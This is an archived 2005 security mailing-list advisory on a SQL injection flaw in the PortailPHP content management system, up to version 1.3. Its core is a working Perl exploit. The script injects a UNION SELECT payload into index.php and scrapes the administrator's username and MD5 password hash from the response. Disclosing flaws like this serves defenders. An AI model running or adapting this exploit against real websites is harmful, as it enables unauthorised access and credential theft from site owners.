

[EXPL] PortailPHP SQL Injection (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-06/0043.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/12/05

To: list@securiteam.com

Date: 12 Jun 2005 13:28:10 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

PortailPHP SQL Injection (Exploit)

SUMMARY

<<http://www.safari-msi.com/portailphp/>> PortailPHP is – "A project of CMS gate wrote entirely in PHP and lunched by Yoopla.Net (CMS means Content Management System). It is intended to function with MySql. PortailPHP is an ideal tool to conceive dynamic sites quickly."

A vulnerability in PortailPHP allows remote attackers to cause the program to insert arbitrary SQL statements into the statements used by the product. The following exploit code will utilize the gindex.php script to retrieve the administrator's hashed password.

DETAILS

Vulnerable Systems:

* Portail PHP version 1.3 and prior.

Exploit:

```
#!/usr/bin/perl -w
```

```
#
```

```
# SQL Injection Exploit for Portail PHP < 1.3
```

```
# This exploit show the username of the administrator of the portal and his password crypted in MD5
```

Securiteam: [EXPL] PortailPHP SQL Injection (Exploit)

Coded by Alberto Trivero

```
use LWP::Simple;
```

```
print "\n\t=====\\n";
print "\t= Exploit for Portail PHP < 1.3 =\\n";
print "\t= Alberto Trivero - codebug.org =\\n";
print "\t=====\\n\\n";
```

```
if(!$ARGV[0] or !($ARGV[0]=~/m/http/)) {
    print "Usage:\\nperl $0 [full_target_path]\\n\\n";
    print "Examples:\\nperl $0 http://www.example.com/portailphp\\n";
    exit(0);
}
```

```
$url=q[index.php?affiche=Liens&id=1 UNION SELECT
null,null,null,null,null,null,US_pwd,US_nom,null FROM pphp_user*];
$page=get($ARGV[0],$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\\n";
$page=~m/0000-00-00, 0 \\</i> <br><br><br><br></td> </tr> <tr>
    <td width='100%'>(.*?)</td> </tr>/ && print "[+] Username of
administrator is: $1\\n";
print "[-] Unable to retrieve username\\n" if(!$1);
$page=~m/<img border='0' src=\\.\\images\\ico_liens\\.gif' > <b> </b>:
(.*?)</td>/ && print "[+] MD5 hash of password is: $1\\n";
print "[-] Unable to retrieve hash of password\\n" if(!$1);
```

ADDITIONAL INFORMATION

The original article can be found at:

<<http://www.milw0rm.com/id.php?id=1031>>

<http://www.milw0rm.com/id.php?id=1031>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.